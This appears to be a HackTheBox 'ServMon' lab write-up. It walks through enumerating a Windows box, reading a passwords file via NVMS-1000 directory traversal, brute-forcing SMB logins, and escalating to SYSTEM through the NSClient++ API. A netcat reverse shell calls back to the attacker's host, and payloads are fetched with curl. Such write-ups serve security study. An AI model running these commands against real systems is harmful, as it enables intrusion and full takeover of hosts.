ServMon Writeup (HackTheBox)

ServMon Writeup (HackTheBox)

2020, Apr 23    

Enumeration

As usual, let’s begin with an nmap scan:

root@kali:~# nmap -Pn -sS -n -p1-10000 -T4 -sV 10.10.10.184
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
22/tcp   open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
80/tcp   open  http
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
5040/tcp open  unknown
5666/tcp open  tcpwrapped
6063/tcp open  x11?
6699/tcp open  napster?
7680/tcp open  pando-pub?
8443/tcp open  ssl/https-alt

First, we’ll try an anonymous login over FTP (port 21).

root@kali:~# ftp 10.10.10.184 21
Connected to 10.10.10.184.
220 Microsoft FTP Service
Name (10.10.10.184:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.

Great, the login worked! Now let’s see what we can see and access as this anonymous user.

ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:05PM       <DIR>          Users
226 Transfer complete.
ftp> cd Users
250 CWD command successful.
ftp> dir
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:06PM       <DIR>          Nadine
01-18-20  12:08PM       <DIR>          Nathan
226 Transfer complete.
ftp> dir Nadine
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:08PM                  174 Confidential.txt
226 Transfer complete.
ftp> get "Nadine\Confidential.txt"
local: Nadine\Confidential.txt remote: Nadine\Confidential.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
174 bytes received in 0.11 secs (1.5852 kB/s)
ftp> dir Nathan
200 PORT command successful.
125 Data connection already open; Transfer starting.
01-18-20  12:10PM                  186 Notes to do.txt
226 Transfer complete.
ftp> get "Nathan\Notes to do.txt"
local: Nathan\Notes to do.txt remote: Nathan\Notes to do.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
186 bytes received in 0.92 secs (0.1983 kB/s)
ftp> exit
221 Goodbye.

From this, we were able to list two users on the box: Nadine and Nathan. We were also able to collect two files, whose contents are shown below.

root@kali:~# cat Nadine\\Confidential.txt 
Nathan,

I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.

Regards

Nadine

root@kali:~# cat Nathan\\Notes\ to\ do.txt 
1) Change the password for NVMS - Complete
2) Lock down the NSClient Access - Complete
3) Upload the passwords
4) Remove public access to NVMS
5) Place the secret files in SharePoint

Next, let’s take a look at what’s happening over on http (port 80) by visiting http://10.10.10.184. We are presented with a login screen for something called NVMS-1000.

NVMS-1000 Login Page

Foothold

A quick search for NVMS-1000 CVE gives us CVE-2019-20085, a directory traversal vulnerability allowing unauthenticated users to view files on the file system. We can use this vulnerability to try and access the Passwords.txt file located on Nathan’s Desktop (according to the file we collected from Nadine’s folder). Based on this great POC here, we can craft a request using Burp Repeater to try and access C:\Users\Nathan\Desktop\Passwords.txt by issuing a GET request for ../../../../../../../../../../../../../Users/Nathan/Desktop/Passwords.txt.

image-20200425165626266

It worked! Now we have a list of passwords to try with the two usernames we found above.

root@kali:~# cat users.txt 
Nadine
Nathan
root@kali:~# cat passwords.txt 
1********!
T********!
B********e
L********k
0********w
I********e
G********$
root@kali:~# msfconsole

Let’s fire up good ol’ msfconsole and check if we have any valid Windows username/password combinations. To do this, we will attempt logging in over SMB (port 445).

msf5 > use auxiliary/scanner/smb/smb_login 
msf5 auxiliary(scanner/smb/smb_login) > set PASS_FILE ~/Desktop/ServMon/passwords.txt
PASS_FILE => ~/Desktop/ServMon/passwords.txt
msf5 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.10.10.184
RHOSTS => 10.10.10.184
msf5 auxiliary(scanner/smb/smb_login) > set USER_FILE ~/Desktop/ServMon/users.txt
USER_FILE => ~/Desktop/ServMon/users.txt
msf5 auxiliary(scanner/smb/smb_login) > run

[*] 10.10.10.184:445      - 10.10.10.184:445 - Starting SMB login bruteforce
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nadine:1********!',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nadine:T********!',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nadine:B********e',
[+] 10.10.10.184:445      - 10.10.10.184:445 - Success: '.\Nadine:L*******k'
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:1********!',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:T********!',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:B********e',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:L********k',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:0********w',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:I********e',
[-] 10.10.10.184:445      - 10.10.10.184:445 - Failed: '.\Nathan:G********$',
[*] 10.10.10.184:445      - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Looks like we picked up one valid combination: Nadine / L********k. Let’s use these credentials to login via SSH (port 22) and read the first flag.

Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.
                                                    
nadine@SERVMON C:\Users\Nadine>cd Desktop
nadine@SERVMON C:\Users\Nadine\Desktop>type user.txt
<FLAG HERE>

Privilege Escalation

Now on to the next part… The root flag. Remember there was something running on port 8443? Let’s check it out. Visiting https://10.10.10.184:8443, we are presented with content related to NSClient++.

image-20200425170942335

Another quick search gives us a neat little POC for privilege escalation with NSClient++ v0.5.2.35. Let’s see if we can get this to work. The POC involves using a GUI based approach, but I’m going to try utilizing the NSClient++ API. The reason for this is two-fold: 1) to try an alternate approach and 2) it is easier to get back up to speed if the box is reset while I’m working.

Step 1 in the POC tells us to look at the NSClient++ config file to recover the password.

nadine@SERVMON C:\Users\Nadine>type "C:\Program Files\NSClient++\nsclient.ini" 
...
; Undocumented key                                                                      
password = e********T                                                             
                                                                                        
; Undocumented key                                                                      
allowed hosts = 127.0.0.1 
...

Success, we now have the password required to continue. We can also see that only localhost is allowed to access the service. While we could utilize SSH port forwarding, allowing us to utilize the curl utility on our Kali box, fortunately for us this Windows machine has curl already installed, allowing us to interact with the API without port forwarding.

nadine@SERVMON C:\Users\Nadine>curl
curl: try 'curl --help' for more information

Note that if we had gone down the GUI road, SSH port forwarding would have been necessary to use the browser on our Kali box to interact with the service.

Next, we need to check if the CheckExternalScripts and Scheduler modules are enabled via the following two API calls:

nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin:e********T https://localhost:8443/api/v1/modules/CheckExternalScripts
{"description":"Module used to execute external scripts","id":"CheckExternalScripts","load_url":"https://localhost:8443/api/v1/modules/CheckExternalScripts/commands/load","loaded":true,"metadata":{"alias":"","plugin_id":"0"},"name":"CheckExternalScripts","title":"CheckExternalScripts","unload_url":"https://localhost:8443/api/v1/modules/CheckExternalScripts/commands/unload"}

nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin:e********T https://localhost:8443/api/v1/modules/Scheduler
{"description":"Use this to schedule check commands and jobs in conjunction with for instance passive monitoring through NSCA","id":"Scheduler","load_url":"https://localhost:8443/api/v1/modules/Scheduler/commands/load","loaded":true,"metadata":{"alias":"","plugin_id":"3"},"name":"Scheduler","title":"Scheduler","unload_url":"https://localhost:8443/api/v1/modules/Scheduler/commands/unload"}

As both modules are enabled, the next step is to get our reverse shell script on the remote host, along with the nc (netcat) binary. We’ll set up an HTTP server on our Kali machine (since the remote host does not have Internet access). by starting a simple Python webserver in the directory where we have the script and binary.

root@kali:~# cat windows_shell.bat 
@echo off
C:\Users\Nadine\AppData\Local\Temp\nc.exe 10.10.15.92 443 -e cmd.exe
root@kali:~# python3 -m http.server

Now on the remote host, we can use curl to download files from our Kali machine, and output them to a specific location.

nadine@SERVMON C:\Users\Nadine>curl http://10.10.15.92:8000/nc.exe -o C:\Users\Nadine\AppData\Local\Temp\nc.exe

nadine@SERVMON C:\Users\Nadine>curl http://10.10.15.92:8000/windows_shell.bat -o C:\Users\Nadine\AppData\Local\Temp\parsnips.bat

Next, let’s actually create the script within NSClient++:

nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin:e********T -X PUT https://localhost:8443/api/v1/scripts/ext/scripts/parsnips.bat --data-binary @C:\Users\Nadine\AppData\Local\Temp\parsnips.bat
Added parsnips as scripts\parsnips.bat

And finally, we’ll set up a netcat listener on our Kali and force the script to run immediately.

root@kali:~# nc -lvp 443
listening on [any] 443 ...
nadine@SERVMON C:\Users\Nadine>curl -s -k -u admin:e********T https://localhost:8443/api/v1/queries/parsnips/commands/execute

Back on our netcat listener, we’ve caught a reverse shell as SYSTEM meaning the privesc worked. Finish up by getting the flag!

10.10.10.184: inverse host lookup failed: Unknown host
connect to [10.10.15.92] from (UNKNOWN) [10.10.10.184] 50338
Microsoft Windows [Version 10.0.18363.752]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
whoami
nt authority\system

C:\Program Files\NSClient++>type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<FLAG HERE>

Grab the flag and finish by cleaning up!